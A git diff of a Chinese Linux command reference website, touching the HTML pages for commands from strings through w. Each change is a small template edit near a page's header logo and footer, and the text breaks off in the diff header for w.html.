命令详解:在对象文件或二进制文件中查找可打印的字符串 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -91,7 +91,7 @@ - - + + \ No newline at end of file diff --git a/c/stty.html b/c/stty.html index cf8358b004..8d63d3ec46 100644 --- a/c/stty.html +++ b/c/stty.html @@ -10,7 +10,7 @@ stty 命令,Linux stty 命令详解:修改终端命令行的相关设置 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -116,7 +116,7 @@ stty -igncr #恢复 - - + + \ No newline at end of file diff --git a/c/su.html b/c/su.html index 9c4d6e309a..70c78f3957 100644 --- a/c/su.html +++ b/c/su.html @@ -10,7 +10,7 @@ su 命令,Linux su 命令详解:用于切换当前用户身份到其他用户身份 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -91,7 +91,7 @@ - - + + \ No newline at end of file diff --git a/c/sudo.html b/c/sudo.html index 5f67290a6a..ccb921896d 100644 --- a/c/sudo.html +++ b/c/sudo.html @@ -10,7 +10,7 @@ sudo 命令,Linux sudo 命令详解:以其他身份来执行命令 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -175,7 +175,7 @@ install.log.syslog - - + + \ No newline at end of file diff --git a/c/sum.html b/c/sum.html index 65254d9a71..98aa05684c 100644 --- a/c/sum.html +++ b/c/sum.html @@ -10,7 +10,7 @@ sum 命令,Linux sum 命令详解:计算文件的校验码和显示块数 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -81,7 +81,7 @@ - - + + \ No newline at end of file diff --git a/c/supervisord.html b/c/supervisord.html index 66180917a0..8c75bb59fb 100644 --- a/c/supervisord.html +++ b/c/supervisord.html @@ -10,7 +10,7 @@ supervisord 命令,Linux supervisord 命令详解:配置后台服务/常驻进程的进程管家工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -83,7 +83,7 @@ https://pypi.python.org/pypi/supervisor

- - + + \ No newline at end of file diff --git a/c/suspend.html b/c/suspend.html index 9137568b22..fd98fad5ec 100644 --- a/c/suspend.html +++ b/c/suspend.html @@ -10,7 +10,7 @@ suspend 命令,Linux suspend 命令详解:挂起shell的执行。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -98,7 +98,7 @@ - - + + \ No newline at end of file diff --git a/c/swapoff.html b/c/swapoff.html index 053b11b4cf..a69591479f 100644 --- a/c/swapoff.html +++ b/c/swapoff.html @@ -10,7 +10,7 @@ swapoff 命令,Linux swapoff 命令详解:关闭指定的交换空间 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -79,7 +79,7 @@ - - + + \ No newline at end of file diff --git a/c/swapon.html b/c/swapon.html index 213fda7db7..407f8e4dab 100644 --- a/c/swapon.html +++ b/c/swapon.html @@ -10,7 +10,7 @@ swapon 命令,Linux swapon 命令详解:激活Linux系统中交换空间 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -87,7 +87,7 @@ Filename t - - + + \ No newline at end of file diff --git a/c/sync.html b/c/sync.html index f13828264b..28a40a9326 100644 --- a/c/sync.html +++ b/c/sync.html @@ -10,7 +10,7 @@ sync 命令,Linux sync 命令详解:用于强制被改变的内容立刻写入磁盘 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -85,7 +85,7 @@ - - + + \ No newline at end of file diff --git a/c/sysctl.html b/c/sysctl.html index c1322ef0b8..1c3c102bf1 100644 --- a/c/sysctl.html +++ b/c/sysctl.html @@ -10,7 +10,7 @@ sysctl 命令,Linux sysctl 命令详解:时动态地修改内核的运行参数 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -214,7 +214,7 @@ net.ipv4.icmp_echo_ignore_all = - - + + \ No newline at end of file diff --git a/c/syslog.html b/c/syslog.html index 497da939db..b3cebfef76 100644 --- a/c/syslog.html +++ b/c/syslog.html @@ -10,7 +10,7 @@ syslog 命令,Linux syslog 命令详解:系统默认的日志守护进程 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -85,7 +85,7 @@ Jan 5 10:37 - - + + \ No newline at end of file diff --git a/c/systemctl.html b/c/systemctl.html index fd8714499d..0d4057ab03 100644 --- a/c/systemctl.html +++ b/c/systemctl.html @@ -10,7 +10,7 @@ systemctl 命令,Linux systemctl 命令详解:系统服务管理器指令 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -96,7 +96,7 @@ systemctl list-units --type=service - - + + \ No newline at end of file diff --git a/c/systool.html b/c/systool.html index 23fb59422a..7120767ef4 100644 --- a/c/systool.html +++ b/c/systool.html @@ -10,7 +10,7 @@ systool 命令,Linux systool 命令详解:显示基于总线、类和拓扑显示系统中设备的信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -250,7 +250,7 @@ Supported sysfs modules: - - + + \ No newline at end of file diff --git a/c/tac.html b/c/tac.html index 028cc906f9..645c6610d2 100644 --- a/c/tac.html +++ b/c/tac.html @@ -10,7 +10,7 @@ tac 命令,Linux tac 命令详解:连接多个文件并以行为单位反向打印到标准输出。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -112,7 +112,7 @@ - - + + \ No newline at end of file diff --git a/c/tail.html b/c/tail.html index cd98087cd3..5676328da3 100644 --- a/c/tail.html +++ b/c/tail.html @@ -10,7 +10,7 @@ tail 命令,Linux tail 命令详解:在屏幕上显示指定文件的末尾若干行 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -112,7 +112,7 @@ - - + + \ No newline at end of file diff --git a/c/tailf.html b/c/tailf.html index 7fce11727e..742e28d279 100644 --- a/c/tailf.html +++ b/c/tailf.html @@ -10,7 +10,7 @@ tailf 命令,Linux tailf 命令详解:在屏幕上显示指定文件的末尾若干行内容,通常用于日志文件的跟踪输出 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -87,7 +87,7 @@ tailf -n 5 log2014.log - - + + \ No newline at end of file diff --git a/c/talk.html b/c/talk.html index a7736e2f99..e35091aaba 100644 --- a/c/talk.html +++ b/c/talk.html @@ -10,7 +10,7 @@ talk 命令,Linux talk 命令详解:让用户和其他用户聊天 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -109,7 +109,7 @@ talk: respond with: talk jdx@rs6000.cic.test.com - - + + \ No newline at end of file diff --git a/c/tar.html b/c/tar.html index 2aa16472d4..c7b6e36bfb 100644 --- a/c/tar.html +++ b/c/tar.html @@ -10,7 +10,7 @@ tar 命令,Linux tar 命令详解:将许多文件一起保存至一个单独的磁带或磁盘归档,并能从归档中单独还原所需文件。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -496,7 +496,7 @@ Main-class: the_name_of_the_main_class_should_be_put_here - - + + \ No newline at end of file diff --git a/c/tcpdump.html b/c/tcpdump.html index 1adac90642..273070b926 100644 --- a/c/tcpdump.html +++ b/c/tcpdump.html @@ -10,7 +10,7 @@ tcpdump 命令,Linux tcpdump 命令详解:一款sniffer工具,是Linux上的抓包工具,嗅探器 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -156,7 +156,7 @@ - - + + \ No newline at end of file diff --git a/c/tcpreplay.html b/c/tcpreplay.html index a1dc91ca80..fea9bd3be6 100644 --- a/c/tcpreplay.html +++ b/c/tcpreplay.html @@ -10,7 +10,7 @@ tcpreplay 命令,Linux tcpreplay 命令详解:将PCAP包重新发送,用于性能或者功能测试 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -126,7 +126,7 @@ - - + + \ No newline at end of file diff --git a/c/tee.html b/c/tee.html index 4a8f7b0be7..eedd313425 100644 --- a/c/tee.html +++ b/c/tee.html @@ -10,7 +10,7 @@ tee 命令,Linux tee 命令详解:从标准输入读取数据并重定向到标准输出和文件。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -108,7 +108,7 @@ MODE决定了当出现写错误时的输出行为,可用的MODE如下: - - + + \ No newline at end of file diff --git a/c/telint.html b/c/telint.html index d671114b7d..6ee384d11c 100644 --- a/c/telint.html +++ b/c/telint.html @@ -10,7 +10,7 @@ telint 命令,Linux telint 命令详解:切换当前正在运行系统的运行等级 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -75,7 +75,7 @@ - - + + \ No newline at end of file diff --git a/c/telnet.html b/c/telnet.html index 049a31a8af..db3be4e13f 100644 --- a/c/telnet.html +++ b/c/telnet.html @@ -10,7 +10,7 @@ telnet 命令,Linux telnet 命令详解:登录远程主机和管理(测试ip端口是否连通) - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -160,7 +160,7 @@ telnet 23/udp - - + + \ No newline at end of file diff --git a/c/tempfile.html b/c/tempfile.html index 3d33a70a39..b1ee481343 100644 --- a/c/tempfile.html +++ b/c/tempfile.html @@ -10,7 +10,7 @@ tempfile 命令,Linux tempfile 命令详解:shell中给临时文件命名 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -81,7 +81,7 @@ - - + + \ No newline at end of file diff --git a/c/test.html b/c/test.html index 2686525576..8de4caf8b5 100644 --- a/c/test.html +++ b/c/test.html @@ -10,7 +10,7 @@ test 命令,Linux test 命令详解:执行条件表达式。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -147,7 +147,7 @@ arg1 OP arg2 算术表达式测试; OP是 -eq,-ne,-lt,-le,-gt,- - - + + \ No newline at end of file diff --git a/c/tftp.html b/c/tftp.html index 63d1437106..c6c972fb3a 100644 --- a/c/tftp.html +++ b/c/tftp.html @@ -10,7 +10,7 @@ tftp 命令,Linux tftp 命令详解:在本机和tftp服务器之间使用TFTP协议传输文件 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -164,7 +164,7 @@ tftp>q - - + + \ No newline at end of file diff --git a/c/time.html b/c/time.html index aa81af351f..81afc8fadf 100644 --- a/c/time.html +++ b/c/time.html @@ -10,7 +10,7 @@ time 命令,Linux time 命令详解:统计给定命令所花费的总时间 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -113,7 +113,7 @@ sys 0m0.007s - - + + \ No newline at end of file diff --git a/c/times.html b/c/times.html index bddfa23da6..7c1919766e 100644 --- a/c/times.html +++ b/c/times.html @@ -10,7 +10,7 @@ times 命令,Linux times 命令详解:显示进程累计时间。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -85,7 +85,7 @@ - - + + \ No newline at end of file diff --git a/c/tload.html b/c/tload.html index 49786a925d..e02163aa21 100644 --- a/c/tload.html +++ b/c/tload.html @@ -10,7 +10,7 @@ tload 命令,Linux tload 命令详解:显示系统负载状况 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -85,7 +85,7 @@ - - + + \ No newline at end of file diff --git a/c/tmux.html b/c/tmux.html index 237161eef1..9432e2ed28 100644 --- a/c/tmux.html +++ b/c/tmux.html @@ -10,7 +10,7 @@ tmux 命令,Linux tmux 命令详解:Tmux是一个优秀的终端复用软件,类似GNU Screen,但来自于OpenBSD,采用BSD授权 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -404,7 +404,7 @@ ctrl+b d # 脱离当前会话;这样可 - - + + \ No newline at end of file diff --git a/c/top.html b/c/top.html index 89622ba75e..6bf7885a94 100644 --- a/c/top.html +++ b/c/top.html @@ -10,7 +10,7 @@ top 命令,Linux top 命令详解:显示或管理执行中的程序 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -135,7 +135,7 @@ Swap: 5144568k total, 56k used, 5144512k free, 2013180k cached - - + + \ No newline at end of file diff --git a/c/touch.html b/c/touch.html index b83d5c222c..d124b78e74 100644 --- a/c/touch.html +++ b/c/touch.html @@ -10,7 +10,7 @@ touch 命令,Linux touch 命令详解:创建新的空文件 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -87,7 +87,7 @@ - - + + \ No newline at end of file diff --git a/c/tput.html b/c/tput.html index cb9644f76a..cdcdb4e3ea 100644 --- a/c/tput.html +++ b/c/tput.html @@ -10,7 +10,7 @@ tput 命令,Linux tput 命令详解:通过terminfo数据库对终端会话进行初始化和操作 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -222,7 +222,7 @@ tput rc - - + + \ No newline at end of file diff --git a/c/tr.html b/c/tr.html index 04987e0c80..6fc5ee4cca 100644 --- a/c/tr.html +++ b/c/tr.html @@ -10,7 +10,7 @@ tr 命令,Linux tr 命令详解:将字符进行替换压缩和删除 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -127,7 +127,7 @@ this is a text line. - - + + \ No newline at end of file diff --git a/c/tracepath.html b/c/tracepath.html index d810072d77..7bae66d95e 100644 --- a/c/tracepath.html +++ b/c/tracepath.html @@ -10,7 +10,7 @@ tracepath 命令,Linux tracepath 命令详解:追踪目的主机经过的路由信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -93,7 +93,7 @@ - - + + \ No newline at end of file diff --git a/c/traceroute.html b/c/traceroute.html index 56d355d14e..21cfdf3912 100644 --- a/c/traceroute.html +++ b/c/traceroute.html @@ -10,7 +10,7 @@ traceroute 命令,Linux traceroute 命令详解:显示数据包到主机间的路径 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -133,7 +133,7 @@ - - + + \ No newline at end of file diff --git a/c/trap.html b/c/trap.html index d520d124c5..93a0815d47 100644 --- a/c/trap.html +++ b/c/trap.html @@ -10,7 +10,7 @@ trap 命令,Linux trap 命令详解:捕捉信号和其他事件并执行命令。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -166,7 +166,7 @@ - - + + \ No newline at end of file diff --git a/c/tree.html b/c/tree.html index b6721e37e3..1154ec7c93 100644 --- a/c/tree.html +++ b/c/tree.html @@ -10,7 +10,7 @@ tree 命令,Linux tree 命令详解:树状图列出目录的内容 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -157,7 +157,7 @@ tree -L 2 > - - + + \ No newline at end of file diff --git a/c/true.html b/c/true.html index f36a5ed447..f14427e946 100644 --- a/c/true.html +++ b/c/true.html @@ -10,7 +10,7 @@ true 命令,Linux true 命令详解:返回状态为成功。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -86,7 +86,7 @@ some_command || - - + + \ No newline at end of file diff --git a/c/tty.html b/c/tty.html index 413c6b3fbb..d9b9590d47 100644 --- a/c/tty.html +++ b/c/tty.html @@ -10,7 +10,7 @@ tty 命令,Linux tty 命令详解:显示连接到当前标准输入的终端设备文件名 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -92,7 +92,7 @@ - - + + \ No newline at end of file diff --git a/c/type.html b/c/type.html index a9a96328f6..5c462c668c 100644 --- a/c/type.html +++ b/c/type.html @@ -10,7 +10,7 @@ type 命令,Linux type 命令详解:显示指定命令的类型。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -164,7 +164,7 @@ keyword - - + + \ No newline at end of file diff --git a/c/ulimit.html b/c/ulimit.html index 7caba86715..256ca1d1b0 100644 --- a/c/ulimit.html +++ b/c/ulimit.html @@ -10,7 +10,7 @@ ulimit 命令,Linux ulimit 命令详解:控制shell程序的资源 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -109,7 +109,7 @@ virtual memory (kbytes, -v - - + + \ No newline at end of file diff --git a/c/umask.html b/c/umask.html index db37cdc6dc..6c71ee5ba8 100644 --- a/c/umask.html +++ b/c/umask.html @@ -10,7 +10,7 @@ umask 命令,Linux umask 命令详解:显示或设置创建文件的权限掩码。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -145,7 +145,7 @@ - - + + \ No newline at end of file diff --git a/c/umount.html b/c/umount.html index bd9f278a2e..d393c05321 100644 --- a/c/umount.html +++ b/c/umount.html @@ -10,7 +10,7 @@ umount 命令,Linux umount 命令详解:用于卸载已经加载的文件系统 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -107,7 +107,7 @@ umount: /mnt/mymount: device is busy - - + + \ No newline at end of file diff --git a/c/unalias.html b/c/unalias.html index e8dbc6a143..bbb450164d 100644 --- a/c/unalias.html +++ b/c/unalias.html @@ -10,7 +10,7 @@ unalias 命令,Linux unalias 命令详解:删除由alias设置的别名 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -113,7 +113,7 @@ - - + + \ No newline at end of file diff --git a/c/uname.html b/c/uname.html index 62491909a6..0927ce23fc 100644 --- a/c/uname.html +++ b/c/uname.html @@ -10,7 +10,7 @@ uname 命令,Linux uname 命令详解:打印系统信息。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -128,7 +128,7 @@ GNU/Linux - - + + \ No newline at end of file diff --git a/c/unarj.html b/c/unarj.html index 909991eb6c..bbcfc78b06 100644 --- a/c/unarj.html +++ b/c/unarj.html @@ -10,7 +10,7 @@ unarj 命令,Linux unarj 命令详解:解压缩由arj命令创建的压缩包 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -78,7 +78,7 @@ x:解压缩时保留原有的路径。 - - + + \ No newline at end of file diff --git a/c/uncompress.html b/c/uncompress.html index 0bf228af87..37cda5fc23 100644 --- a/c/uncompress.html +++ b/c/uncompress.html @@ -10,7 +10,7 @@ uncompress 命令,Linux uncompress 命令详解:用来解压.Z文件 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -84,7 +84,7 @@ - - + + \ No newline at end of file diff --git a/c/unexpand.html b/c/unexpand.html index 29676a4dff..17d029b040 100644 --- a/c/unexpand.html +++ b/c/unexpand.html @@ -10,7 +10,7 @@ unexpand 命令,Linux unexpand 命令详解:将文件的空白字符转换为制表符 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -77,7 +77,7 @@ - - + + \ No newline at end of file diff --git a/c/uniq.html b/c/uniq.html index 439186eb4e..e2df894917 100644 --- a/c/uniq.html +++ b/c/uniq.html @@ -10,7 +10,7 @@ uniq 命令,Linux uniq 命令详解:显示或忽略重复的行。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -118,7 +118,7 @@ - - + + \ No newline at end of file diff --git a/c/unlink.html b/c/unlink.html index b31de42d5f..406a6c1951 100644 --- a/c/unlink.html +++ b/c/unlink.html @@ -10,7 +10,7 @@ unlink 命令,Linux unlink 命令详解:系统调用函数unlink去删除指定的文件 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -76,7 +76,7 @@ - - + + \ No newline at end of file diff --git a/c/unprotoize.html b/c/unprotoize.html index 024fb7682f..6f52edf071 100644 --- a/c/unprotoize.html +++ b/c/unprotoize.html @@ -10,7 +10,7 @@ unprotoize 命令,Linux unprotoize 命令详解:删除C语言源代码文件中的函数原型 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -76,7 +76,7 @@ - - + + \ No newline at end of file diff --git a/c/unrar.html b/c/unrar.html index 0fc21a64e1..e6cb6cee6a 100644 --- a/c/unrar.html +++ b/c/unrar.html @@ -10,7 +10,7 @@ unrar 命令,Linux unrar 命令详解:解压rar文件命令,从rar档案中提取文件 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -109,7 +109,7 @@ - - + + \ No newline at end of file diff --git a/c/unset.html b/c/unset.html index 38217f66db..faa6faf5b5 100644 --- a/c/unset.html +++ b/c/unset.html @@ -10,7 +10,7 @@ unset 命令,Linux unset 命令详解:删除指定的shell变量或函数。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -139,7 +139,7 @@ - - + + \ No newline at end of file diff --git a/c/unzip.html b/c/unzip.html index 86a463dd93..ae2bd2cb49 100644 --- a/c/unzip.html +++ b/c/unzip.html @@ -10,7 +10,7 @@ unzip 命令,Linux unzip 命令详解:用于解压缩由zip命令压缩的压缩包 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -114,7 +114,7 @@ - - + + \ No newline at end of file diff --git a/c/updatedb.html b/c/updatedb.html index bf70f612cd..3edaaa4805 100644 --- a/c/updatedb.html +++ b/c/updatedb.html @@ -10,7 +10,7 @@ updatedb 命令,Linux updatedb 命令详解:创建或更新slocate命令所必需的数据库文件 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -80,7 +80,7 @@ - - + + \ No newline at end of file diff --git a/c/uptime.html b/c/uptime.html index f1226fe612..eb70041d95 100644 --- a/c/uptime.html +++ b/c/uptime.html @@ -10,7 +10,7 @@ uptime 命令,Linux uptime 命令详解:查看Linux系统负载信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -90,7 +90,7 @@ load average: 0.00, - - + + \ No newline at end of file diff --git a/c/useradd.html b/c/useradd.html index 41a6f11c1d..3063f15569 100644 --- a/c/useradd.html +++ b/c/useradd.html @@ -10,7 +10,7 @@ useradd 命令,Linux useradd 命令详解:创建的新的系统用户 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -96,7 +96,7 @@ - - + + \ No newline at end of file diff --git a/c/userdel.html b/c/userdel.html index b02c350ef0..1caf315fa8 100644 --- a/c/userdel.html +++ b/c/userdel.html @@ -10,7 +10,7 @@ userdel 命令,Linux userdel 命令详解:用于删除给定的用户以及与用户相关的文件 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -83,7 +83,7 @@ - - + + \ No newline at end of file diff --git a/c/usermod.html b/c/usermod.html index aeab333f4d..b2f3a2d777 100644 --- a/c/usermod.html +++ b/c/usermod.html @@ -10,7 +10,7 @@ usermod 命令,Linux usermod 命令详解:用于修改用户的基本信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -113,7 +113,7 @@ new_home - - + + \ No newline at end of file diff --git a/c/usernetctl.html b/c/usernetctl.html index cbb2f70776..953e4cccba 100644 --- a/c/usernetctl.html +++ b/c/usernetctl.html @@ -10,7 +10,7 @@ usernetctl 命令,Linux usernetctl 命令详解:被允许时操作指定的网络接口 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -77,7 +77,7 @@ - - + + \ No newline at end of file diff --git a/c/users.html b/c/users.html index 59e8137495..1971e4b2f0 100644 --- a/c/users.html +++ b/c/users.html @@ -10,7 +10,7 @@ users 命令,Linux users 命令详解:打印当前主机所有登陆用户的名称。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -88,7 +88,7 @@ root root - - + + \ No newline at end of file diff --git a/c/uucico.html b/c/uucico.html index b648a2800d..a74111cadb 100644 --- a/c/uucico.html +++ b/c/uucico.html @@ -10,7 +10,7 @@ uucico 命令,Linux uucico 命令详解:UUCP文件传输服务程序 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -95,7 +95,7 @@ - - + + \ No newline at end of file diff --git a/c/uupick.html b/c/uupick.html index 2df3e19098..aab8e8374c 100644 --- a/c/uupick.html +++ b/c/uupick.html @@ -10,7 +10,7 @@ uupick 命令,Linux uupick 命令详解:命令处理传送进来的文件 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -81,7 +81,7 @@ - - + + \ No newline at end of file diff --git a/c/uuto.html b/c/uuto.html index 5c5be49f3a..e179ae1b4f 100644 --- a/c/uuto.html +++ b/c/uuto.html @@ -10,7 +10,7 @@ uuto 命令,Linux uuto 命令详解:将文件传送到远端的UUCP主机 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -75,7 +75,7 @@ - - + + \ No newline at end of file diff --git a/c/vdfuse.html b/c/vdfuse.html index 21988a1b95..db53141896 100644 --- a/c/vdfuse.html +++ b/c/vdfuse.html @@ -10,7 +10,7 @@ vdfuse 命令,Linux vdfuse 命令详解:VirtualBox软件挂载VDI分区文件工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -95,7 +95,7 @@ - - + + \ No newline at end of file diff --git a/c/vgchange.html b/c/vgchange.html index f65c392757..2a102ae8cc 100644 --- a/c/vgchange.html +++ b/c/vgchange.html @@ -10,7 +10,7 @@ vgchange 命令,Linux vgchange 命令详解:修改卷组属性 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -82,7 +82,7 @@ - - + + \ No newline at end of file diff --git a/c/vgconvert.html b/c/vgconvert.html index e2a19e6223..d8b6915573 100644 --- a/c/vgconvert.html +++ b/c/vgconvert.html @@ -10,7 +10,7 @@ vgconvert 命令,Linux vgconvert 命令详解:转换卷组元数据格式 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -92,7 +92,7 @@ Volume group vg1000 successfully converted - - + + \ No newline at end of file diff --git a/c/vgcreate.html b/c/vgcreate.html index 5a6a6cb343..025b131ce4 100644 --- a/c/vgcreate.html +++ b/c/vgcreate.html @@ -10,7 +10,7 @@ vgcreate 命令,Linux vgcreate 命令详解:用于创建LVM卷组 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -87,7 +87,7 @@ - - + + \ No newline at end of file diff --git a/c/vgdisplay.html b/c/vgdisplay.html index dc62603dba..f07e25aab5 100644 --- a/c/vgdisplay.html +++ b/c/vgdisplay.html @@ -10,7 +10,7 @@ vgdisplay 命令,Linux vgdisplay 命令详解:显示LVM卷组的信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -87,7 +87,7 @@ - - + + \ No newline at end of file diff --git a/c/vgextend.html b/c/vgextend.html index 4ca0a95b65..489e2428a3 100644 --- a/c/vgextend.html +++ b/c/vgextend.html @@ -10,7 +10,7 @@ vgextend 命令,Linux vgextend 命令详解:向卷组中添加物理卷 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -86,7 +86,7 @@ - - + + \ No newline at end of file diff --git a/c/vgreduce.html b/c/vgreduce.html index 3c6aa19f01..375a545e4a 100644 --- a/c/vgreduce.html +++ b/c/vgreduce.html @@ -10,7 +10,7 @@ vgreduce 命令,Linux vgreduce 命令详解:从卷组中删除物理卷 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -86,7 +86,7 @@ - - + + \ No newline at end of file diff --git a/c/vgremove.html b/c/vgremove.html index 041e201f61..00d3b036d7 100644 --- a/c/vgremove.html +++ b/c/vgremove.html @@ -10,7 +10,7 @@ vgremove 命令,Linux vgremove 命令详解:用于用户删除LVM卷组 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -80,7 +80,7 @@ Volume group "vg1000" successfully removed - - + + \ No newline at end of file diff --git a/c/vgrename.html b/c/vgrename.html index 3605930f91..acf5b49171 100644 --- a/c/vgrename.html +++ b/c/vgrename.html @@ -10,7 +10,7 @@ vgrename 命令,Linux vgrename 命令详解:使用vgrename命令可以重命名卷组的名称 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -83,7 +83,7 @@ - - + + \ No newline at end of file diff --git a/c/vgscan.html b/c/vgscan.html index 016c757e38..f537eb7c39 100644 --- a/c/vgscan.html +++ b/c/vgscan.html @@ -10,7 +10,7 @@ vgscan 命令,Linux vgscan 命令详解:扫描并显示系统中的卷组 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -83,7 +83,7 @@ Found volume group "vg1000" using metadata - - + + \ No newline at end of file diff --git a/c/vi.html b/c/vi.html index d7aed4a584..b7612831a7 100644 --- a/c/vi.html +++ b/c/vi.html @@ -10,7 +10,7 @@ vi 命令,Linux vi 命令详解:功能强大的纯文本编辑器 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -135,7 +135,7 @@ O:在当前行前面插入一空行; - - + + \ No newline at end of file diff --git a/c/vmstat.html b/c/vmstat.html index a9f8e56602..b5bc3e5c1b 100644 --- a/c/vmstat.html +++ b/c/vmstat.html @@ -10,7 +10,7 @@ vmstat 命令,Linux vmstat 命令详解:显示虚拟内存状态 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -142,7 +142,7 @@ procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu----- - - + + \ No newline at end of file diff --git a/c/volname.html b/c/volname.html index f965c545e9..7a279e700f 100644 --- a/c/volname.html +++ b/c/volname.html @@ -10,7 +10,7 @@ volname 命令,Linux volname 命令详解:显示指定的ISO-9660格式的设备的卷名称 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -72,7 +72,7 @@ - - + + \ No newline at end of file diff --git a/c/w.html b/c/w.html index d50e9f86a5..1fdb045679 100644 